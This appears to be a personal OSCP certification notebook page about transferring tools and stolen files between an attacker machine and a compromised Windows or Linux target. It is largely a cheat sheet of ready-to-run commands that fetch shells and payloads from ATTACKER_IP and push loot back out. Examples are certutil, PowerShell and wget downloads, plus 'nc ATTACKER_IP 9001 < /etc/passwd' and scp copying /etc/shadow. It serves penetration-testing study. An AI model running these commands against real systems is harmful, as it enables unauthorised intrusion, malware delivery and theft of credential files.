Pearson's OSCP Notebook

File Transfer

Properties1
tagsfile-transfer, wget, curl, smbserver, certutil, tftp, python-http-server, upload, download, oscp

5 min read

File Transfer — OSCP Stack

Overview

Once you have a shell (or creds), you need to move tools and loot between Kali and the target. Different OS, firewall rules, and egress restrictions dictate which method works.

OSCP rule: Try the simplest method first. Have 3–4 fallbacks ready before spending 30 minutes on one approach.

📌 Decision Guide

Need to move a file?
│
├─ Linux target, outbound HTTP allowed
│   └─ curl / wget from Python HTTP server (attacker)
│
├─ Linux target, inbound only
│   └─ curl upload OR nc receive on attacker
│
├─ Windows target, outbound HTTP allowed
│   └─ certutil, PowerShell IWR, bitsadmin
│
├─ Windows target, need shell + file xfer (no nc.exe)
│   └─ **[[powercat]]** — IEX load, `-i` / `-of` transfer
│
├─ Windows blocks HTTP but SMB works
│   └─ impacket-smbserver → copy \\ATTACKER\share\file
│
├─ UDP/69 open, Windows legacy
│   └─ tftp
│
├─ Already have WinRM
│   └─ evil-winrm upload/download
│
├─ MSSQL shell (impacket-mssqlclient) — direct session
│   └─ upload / download at SQL prompt → **[[mssqlclient#📌 Upload & Download (built-in — inside SQL shell)]]**
│
└─ Internal host behind Ligolo pivot (can't reach Kali IP)
    └─ listener_add + python3 -m http.server → curl PIVOT_IP → **[[Ligolo-ng#📌 File transfer through tunnel (listener + HTTP)]]**

📌 1) Python HTTP Server (Attacker — Serve Files)

# Python 3 (Kali default)
python3 -m http.server 8080
python3 -m http.server 8080 --bind 0.0.0.0
 
# Serve from specific directory
cd /tmp/payloads && python3 -m http.server 8080

Linux target download:

wget http://ATTACKER_IP:8080/linpeas.sh -O /tmp/linpeas.sh
curl http://ATTACKER_IP:8080/shell.elf -o /tmp/shell.elf
chmod +x /tmp/linpeas.sh && /tmp/linpeas.sh

Windows target download:

certutil -urlcache -split -f http://ATTACKER_IP:8080/winPEASx64.exe C:\Temp\winPEAS.exe
powershell -c "(New-Object System.Net.WebClient).DownloadFile('http://ATTACKER_IP:8080/winPEASx64.exe', 'C:\Temp\winPEAS.exe')"
powershell -c "Invoke-WebRequest -Uri 'http://ATTACKER_IP:8080/winPEASx64.exe' -OutFile 'C:\Temp\winPEAS.exe'"
powershell -c "IWR http://ATTACKER_IP:8080/shell.exe -OutFile C:\Temp\shell.exe"

→ Full WinPEAS transfer + run: Privesc Tools · cmdlet reference: PowerShell Cmdlets

See Curl, certutil, Python.

📌 2) impacket-smbserver (Attacker — SMB Share)

Windows natively speaks SMB — often works when HTTP outbound is blocked.

# Share current directory as "share"
impacket-smbserver share /path/to/files -smb2support
 
# Named share with creds (if needed)
impacket-smbserver -username kali -password kali loot /tmp/loot -smb2support

Windows target pull:

copy \\ATTACKER_IP\share\winPEASx64.exe C:\Temp\winPEAS.exe
copy \\ATTACKER_IP\share\GodPotato-NET4.exe C:\Temp\gp.exe

Windows target push (exfil):

copy C:\Users\admin\Desktop\proof.txt \\ATTACKER_IP\share\

See Impacket Enumeration → smbserver section.

📌 2b) Bulk upload to writable SMB share

When you have write access and need to drop many files (e.g. ntlm_theft lure folder):

impacket-smbclient has no mput — single-file put only.

# Native smbclient — prompt off + mput
smbclient //TARGET/Share -U 'user%pass' -c "prompt off; mput Report/*"
 
# Mount + cp (best for large batches)
sudo mkdir -p /mnt/shared
sudo mount -t cifs //TARGET/Share /mnt/shared -o username=user,password='PASS'
cp Report/* /mnt/shared/
sudo umount /mnt/shared

→ smbclient > 📌 7) Bulk upload (mount / smbclient mput) · ntlm_theft > Step 3b — Bulk upload many lures (don’t put 20 times)

📌 3) certutil (Windows Built-in)

REM Download
certutil -urlcache -split -f http://ATTACKER_IP:8080/file.exe C:\Temp\file.exe
 
REM Encode file to base64 (exfil / bypass)
certutil -encode C:\secret.txt C:\Temp\encoded.txt
 
REM Decode on attacker after exfil
certutil -decode encoded.txt secret.txt

See certutil command note.

📌 4) tftp (UDP 69)

Legacy but still on older Windows / embedded:

# Attacker (Kali)
sudo apt install atftp
atftpd --daemon --port 69 /srv/tftp
# Or: python3 -m pip install tftpy (simple server scripts)
REM Windows client
tftp -i ATTACKER_IP GET shell.exe C:\Temp\shell.exe
tftp -i ATTACKER_IP PUT C:\loot.txt

📌 5) Netcat File Transfer

Push from attacker to target (target listens):

# Target
nc -lvnp 9001 > /tmp/file
 
# Attacker
nc TARGET_IP 9001 < file

Pull from target (attacker listens):

# Attacker
nc -lvnp 9001 < incoming_file
 
# Target
nc ATTACKER_IP 9001 < /etc/passwd

See Netcat.

📌 6) SCP / SFTP (SSH Access)

When you have SSH creds or key:

scp localfile user@TARGET:/tmp/
scp user@TARGET:/etc/shadow ./shadow
scp -i id_rsa file user@TARGET:/tmp/

See SSH.

📌 7) evil-winrm Upload/Download

Best for Windows when WinRM (5985/5986) is open:

evil-winrm -i TARGET -u admin -p password
*Evil-WinRM* PS> upload /home/kali/tools/GodPotato-NET4.exe C:\Temp\gp.exe
*Evil-WinRM* PS> download C:\Users\admin\Desktop\root.txt /home/kali/root.txt

See evil-winrm.

📌 8) Base64 (Last Resort / Small Files)

When all ports blocked except shell echo:

# Attacker encode
base64 -w0 shell.elf > shell.b64
 
# On target (paste chunks)
base64 -d shell.b64 > shell.elf

See Base64.

📌 9) Common Failures & Fixes

ProblemFix
Connection refusedWrong port; firewall; try different method
certutil blocked by AVsmbserver, evil-winrm upload, base64
wget/curl not on targetPython one-liner, nc, tftp
SMB signing / auth errors-smb2support; try -username/-password on smbserver
Can’t bind 80 on KaliUse 8080, 8000, 9000

📌 Quick Cheat Sheet

# Serve (attacker)
python3 -m http.server 8080
impacket-smbserver share /tmp/tools -smb2support
 
# Linux download
wget http://ATTACKER:8080/tool -O /tmp/tool && chmod +x /tmp/tool
 
# Windows download
certutil -urlcache -split -f http://ATTACKER:8080/tool.exe C:\Temp\tool.exe
copy \\ATTACKER\share\tool.exe C:\Temp\tool.exe
 
# WinRM
evil-winrm -i TARGET -u user -p pass → upload / download

Graph View

Backlinks